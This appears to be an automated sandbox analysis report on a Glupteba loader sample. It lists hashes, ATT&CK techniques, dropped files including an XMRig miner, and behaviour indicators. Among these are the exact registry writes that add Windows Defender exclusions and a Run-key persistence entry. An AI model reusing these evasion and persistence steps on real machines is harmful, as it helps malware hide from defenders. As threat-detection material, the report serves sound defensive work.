glupteba | 9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b

Analysis

max time kernel
293s
max time network
298s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
18-04-2024 22:58

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General

Target

9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Size

4.2MB
MD5

2fdd5a843888b6719a6391fe4cc952eb
SHA1

082aa8bb52dfe683050f1dbbf6ca1f0a40815454
SHA256

9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b
SHA512

c5b4d929856a8851545079d17553ba04db784513aa7651308c8295295a6cc152783ee7e6182709ba797683d56fcfb28aa693b45a501e5137a7c716e374c11685
SSDEEP

98304:RU4Iq03aI5N3yqqHwBEspKQ2DvCGo03KUue+TU:DIh7By/QBEsp+2hnfU

Score

10^/10

glupteba xmrig discovery dropper evasion loader miner persistence rootkit trojan upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 38 IoCs

Processes:

resource	yara_rule
behavioral2/memory/164-2-0x0000000005110000-0x00000000059FB000-memory.dmp	family_glupteba
behavioral2/memory/164-3-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/164-301-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/164-302-0x0000000005110000-0x00000000059FB000-memory.dmp	family_glupteba
behavioral2/memory/4036-304-0x0000000004D50000-0x000000000514F000-memory.dmp	family_glupteba
behavioral2/memory/4036-305-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/4036-556-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/4036-803-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/4036-1041-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1045-0x0000000005600000-0x0000000005EEB000-memory.dmp	family_glupteba
behavioral2/memory/2168-1046-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1785-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1794-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1796-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1798-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1800-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1802-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1804-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1806-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1808-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1810-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1812-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1814-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1816-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1818-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1820-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1822-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1824-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1826-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1828-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1830-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1832-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1834-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1836-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1838-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1840-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-1842-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba
behavioral2/memory/2168-2093-0x0000000000400000-0x0000000003118000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe = "0"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe	family_xmrig
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Modifies Windows Firewall 2 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exe

pid process

2656 netsh.exe
Executes dropped EXE 5 IoCs

Processes:

csrss.exeinjector.exewindefender.exewindefender.exedcb505dc2b9d8aac05f4ca0727f5eadb.exe

pid process

2168 csrss.exe
5048 injector.exe
2484 windefender.exe
2172 windefender.exe
816 dcb505dc2b9d8aac05f4ca0727f5eadb.exe

pid	process
2656	netsh.exe

pid	process
2168	csrss.exe
5048	injector.exe
2484	windefender.exe
2172	windefender.exe
816	dcb505dc2b9d8aac05f4ca0727f5eadb.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\windefender.exe	upx
behavioral2/memory/2484-1793-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2172-1795-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2172-1799-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe	upx
behavioral2/memory/816-2143-0x0000000000400000-0x00000000008E1000-memory.dmp	upx

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe = "0"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.execsrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
rootkit evasion

Processes:

csrss.exe

description ioc process

File opened for modification \??\WinMonFS csrss.exe

description	ioc	process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery
T1082

Processes:

9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe

description ioc process

File opened (read-only) \??\VBoxMiniRdrDN 9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe

Drops file in Windows directory 4 IoCs

Processes:

csrss.exe9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe

description	ioc	process
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
File created	C:\Windows\rss\csrss.exe	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
File created	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exe

pid process

4068 sc.exe
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1412 schtasks.exe
4324 schtasks.exe

pid	process
4068	sc.exe

pid	process
1412	schtasks.exe
4324	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exewindefender.exe9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-151 = "Central America Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-401 = "Arabic Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-661 = "Cen. Australia Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-351 = "FLE Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1802 = "Line Islands Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-561 = "SE Asia Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1501 = "Turkey Daylight Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2792 = "Novosibirsk Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-132 = "US Eastern Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-591 = "Malay Peninsula Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-622 = "Korea Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1662 = "Bahia Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2611 = "Bougainville Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-251 = "Dateline Daylight Time"	windefender.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exe9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exepowershell.exe9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeinjector.execsrss.exe

pid	process
4616	powershell.exe
4616	powershell.exe
4616	powershell.exe
164	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
164	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
196	powershell.exe
196	powershell.exe
196	powershell.exe
4036	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
4036	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
4036	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
4036	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
4036	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
4036	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
4036	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
4036	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
4036	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
4036	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
2848	powershell.exe
2848	powershell.exe
2848	powershell.exe
4084	powershell.exe
4084	powershell.exe
4084	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
3748	powershell.exe
3748	powershell.exe
3748	powershell.exe
3052	powershell.exe
3052	powershell.exe
3052	powershell.exe
5048	injector.exe
5048	injector.exe
5048	injector.exe
5048	injector.exe
5048	injector.exe
5048	injector.exe
2168	csrss.exe
2168	csrss.exe
5048	injector.exe
5048	injector.exe
5048	injector.exe
5048	injector.exe
5048	injector.exe
5048	injector.exe
2168	csrss.exe
2168	csrss.exe
5048	injector.exe
5048	injector.exe
5048	injector.exe
5048	injector.exe
2168	csrss.exe
2168	csrss.exe
5048	injector.exe
5048	injector.exe
5048	injector.exe
5048	injector.exe
5048	injector.exe
5048	injector.exe
5048	injector.exe
5048	injector.exe
5048	injector.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

Processes:

powershell.exe9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execsrss.exesc.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4616	powershell.exe
Token: SeDebugPrivilege	164	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Token: SeImpersonatePrivilege	164	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe
Token: SeDebugPrivilege	196	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	4084	powershell.exe
Token: SeDebugPrivilege	4316	powershell.exe
Token: SeDebugPrivilege	3748	powershell.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeSystemEnvironmentPrivilege	2168	csrss.exe
Token: SeSecurityPrivilege	4068	sc.exe
Token: SeSecurityPrivilege	4068	sc.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	380	powershell.exe

Suspicious use of WriteProcessMemory 45 IoCs

Processes:

9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.execmd.execsrss.exewindefender.execmd.exe

description	pid	process	target process
PID 164 wrote to memory of 4616	164	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe	powershell.exe
PID 164 wrote to memory of 4616	164	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe	powershell.exe
PID 164 wrote to memory of 4616	164	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe	powershell.exe
PID 4036 wrote to memory of 196	4036	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe	powershell.exe
PID 4036 wrote to memory of 196	4036	9ee29181be82641e1df4be22eef2515af005c3163e4aa35225ca63f6b925fe6b.exe	powershell.exe
